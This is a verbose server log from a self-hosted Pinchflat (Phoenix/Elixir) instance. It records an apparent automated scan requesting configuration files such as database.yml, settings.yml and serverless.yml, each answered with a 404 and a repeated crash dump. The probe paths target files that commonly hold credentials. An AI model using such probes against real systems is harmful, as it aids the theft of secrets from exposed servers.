(Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "htt (truncated) 21:08:46.402 [info] GET /config/database.yml 21:08:46.402 [debug] QUERY OK source="settings" db=0.1ms idle=281.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.402 [debug] QUERY OK source="settings" db=0.0ms idle=281.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.402 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.403 [error] #PID<0.3483.0> running PinchflatWeb.Endpoint (connection #PID<0.3482.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/database.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/database (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/database.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50258}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3483.0>, params: %{}, path_info: ["config", "database"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/database.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-39E-aOx8s4AARgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/database.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50258}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/database (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/database.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50258}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3483.0>, params: %{}, path_info: ["config", "database"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:46.416 [info] GET /backend/config/default.yml 21:08:46.416 [debug] QUERY OK source="settings" db=0.0ms idle=253.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.416 [debug] QUERY OK source="settings" db=0.0ms idle=253.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.416 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.416 [error] #PID<0.3485.0> running PinchflatWeb.Endpoint (connection #PID<0.3484.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /backend/config/default.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/config/default (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3484.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/config/default.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50264}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3485.0>, params: %{}, path_info: ["backend", "config", "default"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/backend/config/default.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-4AUGdHUyVQAARiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3484.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/config/default.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50264}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/config/default (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3484.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/config/default.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50264}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3485.0>, params: %{}, path_info: ["backend", "config", "default"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Apple (truncated) 21:08:46.438 [info] GET /backend/config/settings.yml 21:08:46.438 [debug] QUERY OK source="settings" db=0.0ms idle=185.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.438 [debug] QUERY OK source="settings" db=0.0ms idle=35.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.438 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.438 [error] #PID<0.3487.0> running PinchflatWeb.Endpoint (connection #PID<0.3486.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /backend/config/settings.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/config/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/config/settings.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50270}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3487.0>, params: %{}, path_info: ["backend", "config", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/backend/config/settings.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-4FlUDidSUMAARkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/config/settings.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50270}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/config/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/config/settings.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50270}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3487.0>, params: %{}, path_info: ["backend", "config", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15 (truncated) 21:08:46.562 [info] GET /serverless.yml 21:08:46.563 [debug] QUERY OK source="settings" db=0.3ms idle=160.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.563 [debug] QUERY OK source="settings" db=0.0ms idle=147.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.563 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.563 [error] #PID<0.3489.0> running PinchflatWeb.Endpoint (connection #PID<0.3488.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /serverless.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50276}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3489.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/serverless.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-4jSpkq4QRIAARmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50276}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50276}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 